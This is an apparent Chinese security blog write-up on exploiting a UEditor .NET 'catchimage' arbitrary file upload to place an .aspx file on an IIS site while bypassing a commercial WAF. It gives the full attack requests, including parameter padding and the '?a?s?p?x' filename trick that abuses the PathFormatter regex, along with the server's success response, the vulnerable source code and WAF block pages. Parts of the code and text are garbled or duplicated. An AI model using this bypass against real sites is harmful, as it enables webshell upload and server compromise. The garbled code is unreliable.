

一天下午好兄弟发来一个 ueditor 环境存在.net 任意文件上传一起看下，存在创某盾 waf。
0x01

```
c=catchimage&acc=catchimage&acc=catchimage&acc=catchimage&acc=catchimage  
&acc=catchimage&acc=catchimage&acc=catchimage&acc=catchimage&acc=catchima  
ge&acc=catchimage&acc=catchimage&acc=catchimage&acc=catchimage&acc=catchima  
ge&acc=catchimage&acc=catchimage&acc=catchimage&acc=catchimage&acc=catchima  
ge&acc=catchimage&acc=catchimage&acc=catchimage&acc=catchimage&acc=catchima  
ge&acc=catchimage&acc=catchimage&acc=catchimage&acc=catchimage&acc=catchima  
ge&acc=catchimage&acc=catchimage&acc=catchimage&acc=catchimage&acc=catchima  
ge&acc=catchimage&acc=catchimage&acc=catchimage&acc=catchimage&acc=catchima  
ge&acc=catchimage&acc=catchimage&acc=catchimage&acc=catchimage&acc=catchima  
ge&acc=catchimage&acc=catchimage&acc=catchimage&acc=catchimage&acc=catchima  
ge&acc=catchimage&acc=catchimage&acc=catchimage&action=catchimage HTTP/1.1
```

Host: [REDACTED]
Connection: close
Content-Length: 64
Cache-Control: max-age=0
sec-ch-ua: "Not A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/91.0.4472.106 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng
/*,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: __jsluid_=765c78126f104978ad63cc33cf405a39

source%5B%D=htmlp%3A%2F%2Fi[REDACTED]%3AA9881%2Fashx.jpg?_asxh

```
ing { border: 0; }
.u-ico{ vertical-align: middle; margin-right: 12px;}
.btn{ padding: 8px 22px; border-radius: 3px; border: 0; display: inline-block;vertical-align: middle;text-decoration: none;}
.btn-g{ background-color: #61b25e; color: #fff;}
.report {color: #858585; text-decoration: none;}
.report:hover {text-decoration: underline; color: #0088CC;}
hr{ border-top: 1px dashed #ddd;}
center {line-height: 48px; color: #919191;}
</style>
<script type="text/template" id="content_top">
<span class="r-tip01">%<= error_403 %< /span>
<div id="notice-jiasule">
<p>当前网址: <%= url %></p>
<p>客户端特征: <%= user_agent %></p>
<p>拦截时间: <%= now %>&nbsp;&nbsp;&nbsp;&本次事件ID&nbsp;&nbsp;&%= rule_id %></p>
</div>
<span class="r-tip02">
如果您是网站管理员， 请登录知道创宇云防御&nbsp;&
<a class="btn btn-g" href='http://help.yunaa.com/feedback.html?from=<%= from %>&rule_id=<%= rule_id %>&client_ip=<%= client_ip %>&referrer=<%= ref %>#pus' target='_blank'>查看详情</a>
&nbsp;&或者&nbsp;&nbsp;&
<a class="report" href='http://help.yunaa.com/feedback.html?from=<%= from %>&rule_id=<%= rule_id %>&client_ip=<%= client_ip %>&referrer=<%= ref %>#hus' target='_blank'>反馈误报</a>
</span>
</script>
<script type="text/javascript" src="/cdn-cgifs/underscore_min_1.8.3.js"></script>
</head>
<body>
<div class="online-desc-con" style="width:640px;padding-top:15px;margin:34px auto;" >
<img id="wafblock" alt="" style="margin: 0 auto 170x auto" />
```

其中 cer 创某盾禁止访问。asmx 文件试了很多个文件访问均 500 报错，谷歌后似乎是因为要 .net4.6 以上才默认支持 asmx，不知道与 iis10 版本有没有关系。

无法找到资源。

请求的 URL: /ueditor/upload/image/20210811/6376423839736643371220181.asmx

版本信息: Microsoft .NET Framework 版本:4.0.30319; ASP.NET 版本:4.7.3429.0

没有为 #EXEC 调用启用 CMD 选项

处理 SSI 文件时出错

打印环境变量成功由此知道了目标中间件是 iis10 和其它信息。


```

public class Crawler
{
    public string SourceUrl { get; set; }
    public string ServerUrl { get; set; }
    public string State { get; set; }

    private HttpServerUtility Server { get; set; }

    public Crawler(string sourceUrl, HttpServerUtility server)
    {
        this.SourceUrl = sourceUrl;
        this.Server = server;
    }

    public Crawler Fetch()
    {
        if (!IsExternalIPAddress(this.SourceUrl))
        {
            State = "INVALID_URL";
            return this;
        }
        var request = HttpWebRequest.Create(this.SourceUrl) as HttpWebRequest;
        using (var response = request.GetResponse() as HttpWebResponse)
        {
            if (response.StatusCode != HttpStatusCode.OK)
            {
                State = "Url returns " + response.StatusCode + ", " + response.StatusDescription;
                return this;
            }
            if (response.ContentType.IndexOf("image") == -1)
            {
                State = "Url is not an image";
                return this;
            }
            ServerUrl = PathFormatter.Format(Path.GetFileName(this.SourceUrl), Config.GetString("catcherPathFormat"));
            var savePath = Server.MapPath(ServerUrl);
            if (!Directory.Exists(Path.GetDirectoryName(savePath)))
            {
                Directory.CreateDirectory(Path.GetDirectoryName(savePath));
            }
            try
            {
                var stream = response.GetResponseStream();
                var reader = new BinaryReader(stream);
                byte[] bytes;
                using (var ms = new MemoryStream())
                {
                    byte[] buffer = new byte[4096];
                    int count;
                    while ((count = reader.Read(buffer, 0, buffer.Length)) != 0)
                    {
                        ms.Write(buffer, 0, count);
                    }
                    bytes = ms.ToArray();
                }
                File.WriteAllBytes(savePath, bytes);
                State = "SUCCESS";
            }
            catch (Exception e)
            {
                State = "抓取错误: " + e.Message;
            }
            return this;
        }
    }
}

```

第一红色箭头判断了传入 url 访问后 response 头有无图片头, 这里如果我们把我们的站点所有请求均加入图片头, 直接传入 aspx 一样可以下载原 poc:1.jpg?.aspx 只是用图片头方便绕过图片头判断。

第二红色箭头是漏洞代码所在, 由其处理最关键的 path, 其他抄文章的到这里就是一句话说这个函数存在漏洞就没了。为了搞清楚究竟路径是如何处理的跟进该函数。

/net/App_Code/PathFormater.cs

```
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text.RegularExpressions;
using System.Web;

/// <summary>
/// PathFormatter 的摘要说明
/// </summary>
public static class PathFormatter
{
    public static string Format(string originFileName, string pathFormat)
    {
        if (String.IsNullOrEmpty(pathFormat))
        {
            pathFormat = "{filename}{rand:6}";
        }

        var invalidPattern = new Regex(@"[\\\/\:\*\?\042<\>\|]");
        originFileName = invalidPattern.Replace(originFileName, "");

        string extension = Path.GetExtension(originFileName);
        string filename = Path.GetFileNameWithoutExtension(originFileName);

        pathFormat = pathFormat.Replace("{filename}", filename);
        pathFormat = new Regex(@"{\rand(\d+)(\d+)\}").Replace(pathFormat, new MatchEvaluator(delegate(Match match)
        {
            var digit = 6;
            if (match.Groups.Count > 2)
            {
                digit = Convert.ToInt32(match.Groups[2].Value);
            }
            var rand = new Random();
            return rand.Next((int)Math.Pow(10, digit), (int)Math.Pow(10, digit + 1)).ToString();
        })));

        pathFormat = pathFormat.Replace("{time}", DateTime.Now.Ticks.ToString());
        pathFormat = pathFormat.Replace("{yyyy}", DateTime.Now.Year.ToString());
        pathFormat = pathFormat.Replace("{yy}", (DateTime.Now.Year % 100).ToString("02"));
        pathFormat = pathFormat.Replace("{mm}", DateTime.Now.Month.ToString("02"));
        pathFormat = pathFormat.Replace("{dd}", DateTime.Now.Day.ToString("02"));
        pathFormat = pathFormat.Replace("{hh}", DateTime.Now.Hour.ToString("02"));
        pathFormat = pathFormat.Replace("{ii}", DateTime.Now.Minute.ToString("02"));
        pathFormat = pathFormat.Replace("{ss}", DateTime.Now.Second.ToString("02"));

        return pathFormat + extension;
    }
}
```

这里两个红色箭头处才是漏洞根源，`invalidPattern.Replace` 通过正则去除了路径中的部分特殊字符，将匹配的字符置空。这里可以看到正则内共有`[\\\/\:*\?\\042\\<\\>\\]`这么多字符，都可以置空。

第二个箭头到了 `extention` 处就是指定文件扩展名的，`GetExtension()`这个函数是自带函数用于获取最后的扩展名。

以原 poc 为例子：漏洞原理为 1.jpg.aspx 到了 invalidPattern.Replace 处通过正则替换后成为 1.jpg.aspx 后经过 GetExtension()得到扩展名 aspx 最后 return 处理后的路径及扩展名。

经上面得知正则支持很多替换，马上去试了结果还是拦截掉了。

```

Connection: close
Content-Length: 424
Cache-Control: max-age=0
sec-ch-ua: " Not A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.106 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: jsuid=z=765c78126f104978ad636cc334f05a39

```

[illegible]

```
border:1px solid #ddd;
padding:0px 20px 0px 20px
}

img { border:0; }
.u-ico{ vertical-align: middle; margin-right: 12px;}
.btn{ padding: 8px 22px; border-radius: 3px; border: 0; display: inline-block;vertical-align: top;text-decoration: none;}
.btn-g{ background-color: #61b25e; color: #fff;}
.report {color: #858585; text-decoration: none;}
.report:hover {text-decoration: underline; color: #0088CC;}
hr{ border-top: 1px dashed #ddd; }
center{ line-height: 48px; color: #919191;}

</style>

<script type='text/template' id='content_tpl'>
<span class='r.tip01'><%= error_403 %></span>
<div id='notice-jiasule'>
<p>当前网址: <% url %></p>
<p>客户端特征: <% user_agent %></p>
<p>拦截时间: <% now %>&nbsp;&nbsp;&本次事件ID&nbsp;&nbsp;&% rule_id %></p>
</div>
<span class='r.tip02'>
<img class='u-ico' alt='' src='/cdn-cgi/image/guest.png'
/>如果您是网站管理员，请登录
```

根据这个正则又 fuzz 了下还是拦截。这时候快十二点了，暂时又没了思路。再看看代码什么的，又花了半个多小时。之后突然想到既然 PathFormatter 可以帮忙把特殊符号置空，自己直接通过特殊符号拼接 aspx 关键字不就能绕过了，再去操作下。


```
Set-Cookie: [REDACTED] = 168203786.20480.00000; path=/; Httponly; Secure
X-Via-JSL: 59c3882,
X-Cache: bypass

{"state":"SUCCESS","list":[{"state":"SUCCESS","source":"http://[REDACTED].jpg?jpgs.?a?s?p?x"
,"url":"upload/image/20210811/637/[REDACTED]0181.aspx"}]}
```

0x03 绕过

测试时猜测 waf 后端的规则的粒度应该控制到具体漏洞级别了，针对不同漏洞有不同的规则。如把 uri 中的 action 删除就不会拦截，这时候应该规则就匹配不到 ue 这个漏洞规则所以不会拦截。

优点：细粒度的规则最大程度避免了对生产业务的干扰。

缺点：针对不同漏洞需要花很多精力根据漏洞代码做细致规则，否则可能就像 ue 通过源码中的代码逻辑构造不常见的利用方式就可完成绕过。

总结：从代码里面构造新的 poc 是一种快捷的思路。

测试时猜测 waf 后端的规则的粒度应该控制到具体漏洞级别了，针对不同漏洞有不同的规则。如把 uri 中的 action 删除就不会拦截，这时候应该规则就匹配不到 ue 这个漏洞规则所以不会拦截。

缺点：针对不同漏洞需要花很多精力根据漏洞代码做细致规则，否则可能就像 ue 通过源码中的代码逻辑构造不常见的利用方式就可完成绕过。

针对正则表达式处增加对应的规则修补。

<https://forums.iis.net/t/1241946.aspx?Setting+up+IIS+10+for+ASMX+service>